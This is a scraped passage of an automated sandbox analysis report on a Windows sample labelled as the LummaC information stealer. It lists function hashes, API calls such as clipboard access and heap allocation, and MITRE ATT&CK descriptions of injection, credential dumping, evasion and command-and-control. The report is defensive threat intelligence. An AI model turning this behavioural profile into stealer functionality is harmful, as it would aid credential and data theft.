API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 89d3ca3a96b59ca2d04cf673b816a7b67b120fe41a39ddaee3e61f75b8088b25
Instruction ID: 9924901a058588f4647461755b373cd42f19dcc737df81e40ddf07340694b86a
Opcode Fuzzy Hash: 89d3ca3a96b59ca2d04cf673b816a7b67b120fe41a39ddaee3e61f75b8088b25
Instruction Fuzzy Hash: 021117792402469FC720CF58D8D1B85BBF2FF5A344F248969E198CB711D336E856DB90

Function 00435304 Relevance: 1.6, APIs: 1, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,00000000), ref: 00435391

Memory Dump Source

Source File: 00000002.00000002.1347719018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 9e230a470ee129de83c6fe349fce192e56b9545d8ec63a63a2217753f877b3a3
Instruction ID: 3f0182d6b859b7a128c83be6db3bf0ae2e962dd121c9f8b587fda6fb256cd9fb
Opcode Fuzzy Hash: 9e230a470ee129de83c6fe349fce192e56b9545d8ec63a63a2217753f877b3a3
Instruction Fuzzy Hash: B9119E3A600A018FC728CF14C990B96B7E3EB89314F28C46DD49A87B55DB39E847CB44

Function 00435212 Relevance: 1.6, APIs: 1, Instructions: 61memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000), ref: 0043527A

Memory Dump Source

Source File: 00000002.00000002.1347719018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 54188b3caaa2a79cb22220285fd420b50745357bb1cbd5e998c7252235cbbdf6
Instruction ID: d862bb0e20b01d1968ddd941c6525b556a84207116077f8a6e0cbf209497901d
Opcode Fuzzy Hash: 54188b3caaa2a79cb22220285fd420b50745357bb1cbd5e998c7252235cbbdf6
Instruction Fuzzy Hash: 40014F3460C2808FD71CDB04D9A0A2EB7E2EFD9B04F148A2DD5C607761C6356C12CB49

Function 00433193 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 004331C6

Memory Dump Source

Source File: 00000002.00000002.1347719018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: 62b8bb988734c4808f685dc0b86554d88a5000bf1c40baae11722acad322fa40
Instruction ID: 0af0472ed094cb823c7ca523df69276c558a8b29fd7e0e698b0b5f27a844ce7a
Opcode Fuzzy Hash: 62b8bb988734c4808f685dc0b86554d88a5000bf1c40baae11722acad322fa40
Instruction Fuzzy Hash: 0EF02B342893C13FD3159B30AC23F113B208B43704F19045EB681EA1E3D9646908C72D

Non-executed Functions

Function 0042D810 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 0042D86B
GetWindowLongW.USER32 ref: 0042D894
GetClipboardData.USER32 ref: 0042D8A6
CloseClipboard.USER32 ref: 0042D9D7

Strings

r, xrefs: 0042D92F
O, xrefs: 0042D933
{, xrefs: 0042D917
p, xrefs: 0042D91F

Memory Dump Source

Source File: 00000002.00000002.1347719018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Clipboard$CloseDataLongOpenWindow
String ID: O$p$r${
API String ID: 1647500905-81440836
Opcode ID: 6460bb0fa09c39278e9c6b2b153592ade977a00066dc97b861cb69951d467ada
Instruction ID: dcaf1c60e5a5a478e29b6d3e625a2126444649637afff1bcd3556d008fe1ccdc
Opcode Fuzzy Hash: 6460bb0fa09c39278e9c6b2b153592ade977a00066dc97b861cb69951d467ada
Instruction Fuzzy Hash: C8618DB0908740CFC710EF28D585716BBF0AF19314F14896DE8DA8B796D339E845CB66

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report TS-240622-Lumma4.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Imports

Exports

Network Behavior

Network Port Distribution

Windows Analysis Report
TS-240622-Lumma4.exe

Function 0144018D Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Function 00CE6E60 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72
COMMON

Function 00D15673 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273
COMMONLIBRARYCODE

Function 00CE6AD0 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 188
COMMON

Function 00D097BC Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Function 00CE69A0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75
memoryCOMMON

Function 00CE62F0 Relevance: 6.1, APIs: 4, Instructions: 139
COMMON

Function 00CE6418 Relevance: 4.6, APIs: 3, Instructions: 75
COMMON

Function 00D05230 Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Function 00CE6AA0 Relevance: 3.0, APIs: 2, Instructions: 18
synchronizationthreadCOMMON

Function 00CE6F4B Relevance: 3.0, APIs: 2, Instructions: 17
COMMON

Function 00CF42D5 Relevance: 1.6, APIs: 1, Instructions: 66
COMMON

Function 00D09887 Relevance: 1.6, APIs: 1, Instructions: 57
COMMONLIBRARYCODE

Function 00D0E618 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Function 00CF3470 Relevance: 1.5, APIs: 1, Instructions: 22
COMMON

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre